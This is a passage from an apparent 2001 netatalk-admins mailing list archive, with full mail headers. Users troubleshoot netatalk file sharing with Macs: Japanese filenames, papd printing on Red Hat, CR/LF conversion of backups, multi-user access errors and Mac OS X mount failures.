> Basically, I just hosed myself. someone copied all their japanese files
> onto* the server, and so far they still look* okay from her mac, but I'm
> paralyzed with fear that they will have issues. I guess the first test
> is moving them back* onto a mac successfully... Anyway, this has* to be
> a fairly common issue... At least someone on the list must know the
> status/plans for this issue?
>

I tried copying one from OS X onto my pre7 FreeBSD system and got the same 
error as trying to create one .  Since your user successfully copied them 
on to the system, maybe there is hope, since I cannot even do that on my 
on-linux system.  I will try some tests tomorrow on my Mandrake 8 
workstation, onto which I will install 1.5pre7.  It may be more an 
underlying OS issue, and how their file systems handle it.  I don't know 
and that is just a guess.  Usually linux uses extfs and FreeBSD uses ufs so 
there may  be some differences there too.

best of luck, wish I could be of more assistance.
Chad


From netatalk.administrators-errors@umich.edu  Sat Sep 15 14:48:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA20054
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 15 Sep 2001 14:48:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA20961
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 15 Sep 2001 14:48:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA20948
	for netatalk.administrators-members@umich.edu; Sat, 15 Sep 2001 14:48:38 -0400 (EDT)
Received: from snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA20922
	for <netatalk-admins@umich.edu>; Sat, 15 Sep 2001 14:48:37 -0400 (EDT)
Received: from [66.120.145.227] by mta6.snfc21.pbi.net
 (iPlanet Messaging Server 5.1 (built May  7 2001))
 with ESMTP id <0GJP001MUW8ZRV@mta6.snfc21.pbi.net> for
 netatalk-admins@umich.edu; Sat, 15 Sep 2001 11:48:36 -0700 (PDT)
Date: Sat, 15 Sep 2001 11:48:32 -0700
From: Gregg Healy <gregg@photoad.com>
Subject: Redhat 7.1 and papd
In-reply-to: <1000515383.10084.2.camel@deanix.viz.com>
X-Sender: gregghealy@mail.anet.net
To: netatalk-admins@umich.edu
Message-id: <v04220801b7c9448c3aa0@[195.10.2.140]>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii; format=flowed
Content-transfer-encoding: 7BIT
References: <1000515383.10084.2.camel@deanix.viz.com>

I am trying to setup a printer using Netatalk and RedHat 7.1. I 
continue to get a postscript error. It appears that the file doesnt 
even start to write, like the spool path or something doesnt exist or 
not enough privelages or?

This has me stumped...any ideas what I should be looking at to solve 
this? I can print test pages OK, I just cant share the printer with 
Netatalk clients.

Any direction or help appreciated,

Gregg Healy
President

PhotoAd.com, Inc.
http://photoad.com
800 471-3737

From netatalk.administrators-errors@umich.edu  Sat Sep 15 14:55:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA20245
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 15 Sep 2001 14:55:33 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA23878
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 15 Sep 2001 14:55:33 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA23870
	for netatalk.administrators-members@umich.edu; Sat, 15 Sep 2001 14:55:33 -0400 (EDT)
Received: from icompute.com (mailhost.icompute.com [209.46.8.66])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA23779
	for <netatalk-admins@umich.edu>; Sat, 15 Sep 2001 14:55:28 -0400 (EDT)
Received: from [209.46.8.69] (209.46.8.69) by icompute.com with ESMTP
 (Eudora Internet Mail Server 3.0.3); Sat, 15 Sep 2001 13:55:32 -0500
X-Sender: donlee_in@icompute.com
Message-Id: <v03130300b7c94659fae9@[209.46.8.69]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 15 Sep 2001 13:55:21 -0500
To: netatalk-admins@umich.edu, Duncan Sinclair <sinclair@dis.strath.ac.uk>
From: Donald Lee <donlee_nat@icompute.com>
Subject: Re: CRLF fun stuff again...
Cc: donlee_nat@icompute.com

At the risk of re-igniting an old brush fire, I want to keep
my promise and report back to this list what I have found.

I finally got around to re-loading one of my old, corrupted backup files
that had gotten me interested in this subject.

The backup files were made with "tar -czf atalkfile /user/homedir*"
on the system hosting the netatalk server.
Retrospect was then used to back up the atalkfile.  It worked fine
until I upgraded from the vanilla umich version to the asun version.
I then found that the CR/LF conversion had been done (even though I
explicitly disabled it in both builds)  (Another issue is my
very sloppy testing of the backup scheme - shame, shame!)

This conversation gave me hope that I could recover that data, but alas,
on re-loading these files several weeks ago, and writing a utility that swaps
CR/LF and LF/CR, I find that whatever the umich version did was
*not* symmetrical.  I don't have the data in front of me, but the
program found all of one char and none of the other, and the re-converted
files were still trash.

So, whatever the outcome of the discussion (I no longer subscribe to the list)
the old umich version did *not* do symmetrical CR/LF conversion.

-dgl-


>Date: Sat, 10 Feb 2001 13:45:10 -0600
>To: netatalk-admins@umich.edu, Duncan Sinclair <sinclair@dis.strath.ac.uk>
>From: Donald Lee <donlee_nat@icompute.com>
>Subject: Re: CRLF fun stuff again...
>
>At 10:03 AM -0600 2/10/01, Duncan Sinclair wrote:
>>
>>...
>>
>>>The transformations you're using aren't the ones that netatalk does 
>>>(or at least netatalk did in the past before I turned it off).  These 
>>>are reversible.  netatalk does
>>>
>>>tr '\r' '\n'  to Unix and tr '\n' '\r' to Mac OS.
>>>
>>>That's why people are warning about data corruption.
>>
>>Guess what?  You're wrong.  If people are going to try to tell me I'm
>>wrong, please do the research first!
>>
>
>My apologies.  This is symmetric and reversible, although a little odd. ;->
>
>I still don't see a way to reliably determine the actual type of the data,
>but as long as the transformation is reversible, no irreparable harm can
>be done by it.  This information changes the feature from being dangerous to
>being questionable.   Questionable features are appropriate as options for
>those who have a need.
>
>As atonement for not doing my homework I will go and reexamine some 
>data files that I had heretofore considered lost due to this transformation
>and report back to this list if it is truly reversible (at which
>point I will be very happy).
>
>-dgl-



From netatalk.administrators-errors@umich.edu  Sun Sep 16 07:01:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA18972
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 16 Sep 2001 07:01:14 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA03446
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 16 Sep 2001 07:01:14 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA03438
	for netatalk.administrators-members@umich.edu; Sun, 16 Sep 2001 07:01:14 -0400 (EDT)
Received: from mail.kaiser.link-m.de ([195.30.238.153])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA03407
	for <netatalk-admins@umich.edu>; Sun, 16 Sep 2001 07:01:12 -0400 (EDT)
Received: from [195.30.238.157] (unknown [195.30.238.157])
	by mail.kaiser.link-m.de (Postfix) with ESMTP
	id 3EB38CB841; Sun, 16 Sep 2001 12:59:49 +0000 (/etc/localtime)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Sun, 16 Sep 2001 13:01:22 +0200
Subject: Re: Redhat 7.1 and papd
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Gregg Healy <gregg@photoad.com>, <netatalk-admins@umich.edu>
Message-ID: <B7CA5321.11A40%Thomas.Kaiser@phg-online.de>
In-Reply-To: <v04220801b7c9448c3aa0@[195.10.2.140]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Sat, 15 Sep 2001 14:48:39 -0400 (EDT), Gregg Healy wrote:

> I am trying to setup a printer using Netatalk and RedHat 7.1.
> [...]
> I can print test pages OK, I just cant share the printer with
> Netatalk clients.

Seems you are using LPRng?

This has been discussed in the thread "Need help with papd"
several days ago.

I suggested reading this link:

<http://www.rodsbooks.com/network/network-netatalk.html>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Sun Sep 16 16:38:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA06214
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 16 Sep 2001 16:38:52 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA10100
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 16 Sep 2001 16:38:52 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA10098
	for netatalk.administrators-members@umich.edu; Sun, 16 Sep 2001 16:38:51 -0400 (EDT)
Received: from miazaki.bopjet.net (miazaki.bopjet.net [64.69.73.18])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id QAA10084
	for <netatalk-admins@umich.edu>; Sun, 16 Sep 2001 16:38:50 -0400 (EDT)
Received: (qmail 16760 invoked from network); 16 Sep 2001 20:34:24 -0000
Received: from unknown (HELO ?10.0.1.21?) (216.232.162.61)
  by miazaki.bopjet.net with SMTP; 16 Sep 2001 20:34:24 -0000
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Sun, 16 Sep 2001 13:38:50 -0700
Subject: unsubscribe
From: Ian Wojtowicz <ian@bitmovers.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7CA5BE9.A668C684%ian@bitmovers.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

unsubscribe netatalk

___________________________________________________________________________
ian wojtowicz                                          http://bitmovers.com

Bitmovers produces the best tool currently available
for online application development. Get your copy at:

         http://maui.bitmovers.com



From netatalk.administrators-errors@umich.edu  Sun Sep 16 22:42:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA19734
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 16 Sep 2001 22:42:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA07830
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 16 Sep 2001 22:42:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA07821
	for netatalk.administrators-members@umich.edu; Sun, 16 Sep 2001 22:42:56 -0400 (EDT)
Received: from millions.linux-site.net (kato-stinger-2-ws-245.dsl.hickorytech.net [216.114.209.246])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA07807
	for <netatalk-admins@umich.edu>; Sun, 16 Sep 2001 22:42:55 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by millions.linux-site.net (8.11.0/8.11.0) with ESMTP id f8H2h3402890
	for <netatalk-admins@umich.edu>; Sun, 16 Sep 2001 21:43:03 -0500
Date: Sun, 16 Sep 2001 21:43:03 -0500 (CDT)
From: "Flint Million (netatalk)" <netatalk@millions.linux-site.net>
To: netatalk-admins@umich.edu
Subject: weird problems
Message-ID: <Pine.LNX.4.21.0109162134290.2888-100000@millions.linux-site.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hello,

I'm using Netatalk in a school situation to allow an entire class
(approx. 30 students) to access a single shared directory on my Linux
server. Here's the problem: When more than a couple users have connected,
many users start experiencing strange problems including:

* inability to access any file (Finder reports "file could not be found")
* inability to make any new folders (Finder says "can't make new folder
because folder (name of current folder) couldn't be found")
* disappearing folders (new folder created, attempting to rename, folder
disappears while renaming, after which new folder cannot be created (see
above))
* inability to trash items (Finder reports cannot find item)

The ability to see the files in the folders never disappears. It is
accessing those files that causes problems. The above noted issues happen
anywhere within the shared folder.

All permissions appear to be set correctly: the user has full write access
to the shared folder and all fiels in it are created with the same
permissions.

For the record, we're using an AppleScript script that connects to the
server using *AppleTalk* and not TCP/IP, if that has anything to do with
it. I can easily modify the script to work over TCP/IP which I probably
will try. Think this might be the prob?? 

I also should note that it will happen suddenly. For many users, the
system will work fine for a few minutes, and then suddenly start acting
weird. 

Running Kernel 2.4.9 and netatalk 1.5pre5 on a PII-350 on an Ethernet
network. (Red Hat 7.0) These things also happened with 1.4+asun2.1.4 which
I "downgraded" to for testing purposes.

Any help appreciated, if more details needed please let me know


--Flint Million
netatalk@millions.linux-site.net (custom mailing list address)
Please direct all unrelated personal correspondence to
fmillion@millions.linux-site.net



From netatalk.administrators-errors@umich.edu  Mon Sep 17 05:33:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA04039
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Sep 2001 05:33:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA17568
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Sep 2001 05:33:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA17559
	for netatalk.administrators-members@umich.edu; Mon, 17 Sep 2001 05:33:22 -0400 (EDT)
Received: from mail.ihonk.com (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA17504
	for <netatalk-admins@umich.edu>; Mon, 17 Sep 2001 05:33:19 -0400 (EDT)
Received: from [192.168.0.151] (a12 [192.168.0.151])
	by mail.ihonk.com (8.11.6/8.11.0) with ESMTP id f8H9Wwh17333;
	Mon, 17 Sep 2001 02:32:59 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 17 Sep 2001 02:32:46 -0700
Subject: Re: [Netatalk-devel] CNID Working?
From: Steve Freitas <sflist@ihonk.com>
To: Lawrence Farr <netatalk@epcdirect.co.uk>
CC: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B7CB114D.79CF%sflist@ihonk.com>
In-Reply-To: <002801c13f51$053b0760$c80aa8c0@lfarr>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> I also have a test machine which is about to have Joe's port installed
> and swung into use.

So that's a FreeBSD machine?

> The pre-7's still give me problems with Quark though. (Last-did).

Are those pre-7s running Linux or FreeBSD or...? If Linux, what kernel?

Isn't there somebody on this list who's been assembling some data on Quark
compatibility w/ Linux kernel versions, among other datapoints? I'll
cross-post to netatalk-admin to see.

Steve


From netatalk.administrators-errors@umich.edu  Mon Sep 17 06:30:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA05776
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Sep 2001 06:30:15 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA06844
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Sep 2001 06:30:15 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA06840
	for netatalk.administrators-members@umich.edu; Mon, 17 Sep 2001 06:30:15 -0400 (EDT)
Received: from post.bourget.univ-savoie.fr (post.bourget.univ-savoie.fr [193.48.120.73])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA06815
	for <netatalk-admins@umich.edu>; Mon, 17 Sep 2001 06:30:13 -0400 (EDT)
Received: from univ-savoie.fr (www.lama.univ-savoie.fr [193.48.123.134])
          by post.bourget.univ-savoie.fr (8.12.0.Beta7/jtpda-5.3.3) with ESMTP id f8HAU9d7001182
          for <netatalk-admins@umich.edu>; Mon, 17 Sep 2001 12:30:09 +0200
Sender: raffalli@univ-savoie.fr
Message-ID: <3BA5D0B4.E7C5AC7D@univ-savoie.fr>
Date: Mon, 17 Sep 2001 12:30:12 +0200
From: Christophe Raffalli <Christophe.Raffalli@univ-savoie.fr>
Organization: =?iso-8859-1?Q?Universit=E9?= de Savoie
X-Mailer: Mozilla 4.77 [fr] (X11; U; Linux 2.2.16-9mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: netatalk and MAC OS X
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit


I have seen some message that netatalk and MAC OS X are not working together ! 
I have the same problem and I have seen no answer. Can somone help me ?

Netatalk + Mac OS X: fails to mount the volume
Netatalk + Mac 0S 9: OK
Netatalk + Mac OS X + OS9 Chooser: OK

Here is the log:

Sep 17 12:20:47 www afpd[16325]: ASIP session:548(1) from
193.48.123.140:49175(2)
Sep 17 12:20:47 www afpd[16325]: dhx login: fmang
Sep 17 12:20:47 www afpd[16325]: uams_dhx_pam.c :PAM: PAM Success -- Appel
systčme interrompu
Sep 17 12:20:47 www PAM_pwdb[16325]: (netatalk) session opened for user fmang
by (uid=0)
Sep 17 12:20:47 www afpd[16325]: uams_dhx_pam.c :PAM: PAM Auth OK!: (null) --
Ioctl() inappropré pour un périphérique
Sep 17 12:20:47 www afpd[16325]: login fmang (uid 1079, gid 200)
Sep 17 12:20:52 www afpd[16325]: dsi_stream_read(0): Aucun fichier ou
répertoire de ce type
Sep 17 12:20:52 www PAM_pwdb[16325]: (netatalk) session closed for user fmang
Sep 17 12:20:52 www afpd[16325]: 0.96KB read, 9.03KB written
Sep 17 12:20:52 www afpd[16325]: Connection terminated
Sep 17 12:20:52 www afpd[16251]: server_child[1] 16325 exited 1

-- 
Christophe Raffalli
Université de Savoie
Batiment Le Chablais, bureau 21
73376 Le Bourget-du-Lac Cedex

tél: (33) 4 79 75 81 03
fax: (33) 4 79 75 87 42
mail: Christophe.Raffalli@univ-savoie.fr
www: http://www.lama.univ-savoie.fr/~RAFFALLI

From netatalk.administrators-errors@umich.edu  Mon Sep 17 07:04:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA06568
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Sep 2001 07:04:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA20076
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Sep 2001 07:04:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA20063
	for netatalk.administrators-members@umich.edu; Mon, 17 Sep 2001 07:04:20 -0400 (EDT)
Received: from hobbiton.shire.net (frogmorton.shire.net [204.228.145.136])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA20027
	for <netatalk-admins@umich.edu>; Mon, 17 Sep 2001 07:04:19 -0400 (EDT)
Received: from nh-merrimack1a-105.bur.adelphia.net ([24.49.144.105] helo=[192.168.99.66])
	by hobbiton.shire.net with asmtp (Exim 3.22 #6)
	id 15iwAz-000FPC-00; Mon, 17 Sep 2001 05:02:58 -0600
Date: Mon, 17 Sep 2001 07:04:14 -0400
From: "Chad Leigh, ObjectWerks, Inc." <chad@objectwerks.com>
Reply-To: chad@objectwerks.com
To: Christophe Raffalli <Christophe.Raffalli@univ-savoie.fr>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: netatalk and MAC OS X
Message-ID: <141162262.1000710253@[192.168.99.66]>
In-Reply-To: <3BA5D0B4.E7C5AC7D@univ-savoie.fr>
References:  <3BA5D0B4.E7C5AC7D@univ-savoie.fr>
X-Mailer: Mulberry/2.1.0 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id HAA06568

I have not done a lot of testing but my Mac OS X boxes have had no problem 
mounting volumes on my netatalk server and reading and writing to and from 
them (using the Mac OS X mounter in the menu).  I have 1.5pre7 on FreeBSD 
4.4-RC4.  Mac OS X 10.0.4.

Chad

--On Monday, September 17, 2001 12:30 PM +0200 Christophe Raffalli 
<Christophe.Raffalli@univ-savoie.fr> wrote:

>
> I have seen some message that netatalk and MAC OS X are not working
> together !  I have the same problem and I have seen no answer. Can somone
> help me ?
>
> Netatalk + Mac OS X: fails to mount the volume
> Netatalk + Mac 0S 9: OK
> Netatalk + Mac OS X + OS9 Chooser: OK
>
> Here is the log:
>
> Sep 17 12:20:47 www afpd[16325]: ASIP session:548(1) from
> 193.48.123.140:49175(2)
> Sep 17 12:20:47 www afpd[16325]: dhx login: fmang
> Sep 17 12:20:47 www afpd[16325]: uams_dhx_pam.c :PAM: PAM Success -- Appel
> systčme interrompu
> Sep 17 12:20:47 www PAM_pwdb[16325]: (netatalk) session opened for user
> fmang by (uid=0)
> Sep 17 12:20:47 www afpd[16325]: uams_dhx_pam.c :PAM: PAM Auth OK!:
> (null) -- Ioctl() inappropré pour un périphérique
> Sep 17 12:20:47 www afpd[16325]: login fmang (uid 1079, gid 200)
> Sep 17 12:20:52 www afpd[16325]: dsi_stream_read(0): Aucun fichier ou
> répertoire de ce type
> Sep 17 12:20:52 www PAM_pwdb[16325]: (netatalk) session closed for user
> fmang Sep 17 12:20:52 www afpd[16325]: 0.96KB read, 9.03KB written
> Sep 17 12:20:52 www afpd[16325]: Connection terminated
> Sep 17 12:20:52 www afpd[16251]: server_child[1] 16325 exited 1
>
> --
> Christophe Raffalli
> Université de Savoie
> Batiment Le Chablais, bureau 21
> 73376 Le Bourget-du-Lac Cedex
>
> tél: (33) 4 79 75 81 03
> fax: (33) 4 79 75 87 42
> mail: Christophe.Raffalli@univ-savoie.fr
> www: http://www.lama.univ-savoie.fr/~RAFFALLI
>
>



From netatalk.administrators-errors@umich.edu  Mon Sep 17 07:36:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA07581
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Sep 2001 07:36:35 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA23713
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Sep 2001 07:36:35 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA23708
	for netatalk.administrators-members@umich.edu; Mon, 17 Sep 2001 07:36:35 -0400 (EDT)
Received: from post.bourget.univ-savoie.fr (post.bourget.univ-savoie.fr [193.48.120.73])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA23692
	for <netatalk-admins@umich.edu>; Mon, 17 Sep 2001 07:36:33 -0400 (EDT)
Received: from univ-savoie.fr (www.lama.univ-savoie.fr [193.48.123.134])
          by post.bourget.univ-savoie.fr (8.12.0.Beta7/jtpda-5.3.3) with ESMTP id f8HBaRd7002404
          ; Mon, 17 Sep 2001 13:36:27 +0200
Sender: raffalli@univ-savoie.fr
Message-ID: <3BA5E040.F9EFF7F5@univ-savoie.fr>
Date: Mon, 17 Sep 2001 13:36:32 +0200
From: Christophe Raffalli <Christophe.Raffalli@univ-savoie.fr>
Organization: =?iso-8859-1?Q?Universit=E9?= de Savoie
X-Mailer: Mozilla 4.77 [fr] (X11; U; Linux 2.2.16-9mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: chad@objectwerks.com
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: netatalk and MAC OS X
References: <3BA5D0B4.E7C5AC7D@univ-savoie.fr> <141162262.1000710253@[192.168.99.66]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit


"Chad Leigh, ObjectWerks, Inc." a écrit :
> 
> I have not done a lot of testing but my Mac OS X boxes have had no problem
> mounting volumes on my netatalk server and reading and writing to and from
> them (using the Mac OS X mounter in the menu).  I have 1.5pre7 on FreeBSD
> 4.4-RC4.  Mac OS X 10.0.4.
> 

I have the 1.5pre6 undir Linux Mandrake 7.1 and Mac OS X 10.0.4.

Could you send your configuration file please, it may be a problem with the 
config files bundled with the mandrake distribution ?

-- 
Christophe Raffalli
Université de Savoie
Batiment Le Chablais, bureau 21
73376 Le Bourget-du-Lac Cedex

tél: (33) 4 79 75 81 03
fax: (33) 4 79 75 87 42
mail: Christophe.Raffalli@univ-savoie.fr
www: http://www.lama.univ-savoie.fr/~RAFFALLI

From netatalk.administrators-errors@umich.edu  Mon Sep 17 09:02:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA11104
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Sep 2001 09:02:42 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA11438
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Sep 2001 09:02:42 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA11424
	for netatalk.administrators-members@umich.edu; Mon, 17 Sep 2001 09:02:42 -0400 (EDT)
Received: from mail.electronicpage.co.uk (mail.electronicpage.co.uk [195.10.240.21])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA11395
	for <netatalk-admins@umich.edu>; Mon, 17 Sep 2001 09:02:40 -0400 (EDT)
Received: (from root@localhost)
	by mail.electronicpage.co.uk (8.11.2/8.11.2) id f8HD2aG16079;
	Mon, 17 Sep 2001 14:02:36 +0100 (BST)
	(envelope-from netatalk@epcdirect.co.uk)
Received: from lfarr (bka.electronicpage.co.uk [192.168.7.200])
	by mail.electronicpage.co.uk (8.11.2/8.11.2av) with ESMTP id f8HD2Ym16071;
	Mon, 17 Sep 2001 14:02:35 +0100 (BST)
	(envelope-from netatalk@epcdirect.co.uk)
From: "Lawrence Farr" <netatalk@epcdirect.co.uk>
To: "'Steve Freitas'" <sflist@ihonk.com>
Cc: "'netatalk-admins'" <netatalk-admins@umich.edu>
Subject: RE: [Netatalk-devel] CNID Working?
Date: Mon, 17 Sep 2001 14:03:04 +0100
Message-ID: <000701c13f79$174cb3e0$c807a8c0@lfarr>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
In-Reply-To: <B7CB114D.79CF%sflist@ihonk.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000
X-Virus-Scanned: by AMaViS perl-10

FreeBSD 4.x. I'm interested in whether they got any conclusive data on
Linux vs. Quark.

>-----Original Message-----
>From: Steve Freitas [mailto:sflist@ihonk.com] 
>Sent: 17 September 2001 10:33
>To: Lawrence Farr
>Cc: netatalk-admins
>Subject: Re: [Netatalk-devel] CNID Working?
>
>
>> I also have a test machine which is about to have Joe's port 
>installed
>> and swung into use.
>
>So that's a FreeBSD machine?
>
>> The pre-7's still give me problems with Quark though. (Last-did).
>
>Are those pre-7s running Linux or FreeBSD or...? If Linux, what kernel?
>
>Isn't there somebody on this list who's been assembling some 
>data on Quark
>compatibility w/ Linux kernel versions, among other datapoints? I'll
>cross-post to netatalk-admin to see.
>
>Steve
>
>


From netatalk.administrators-errors@umich.edu  Mon Sep 17 10:09:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA13733
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Sep 2001 10:09:50 -0400 (EDT)
Received: (from daemon@localhost)
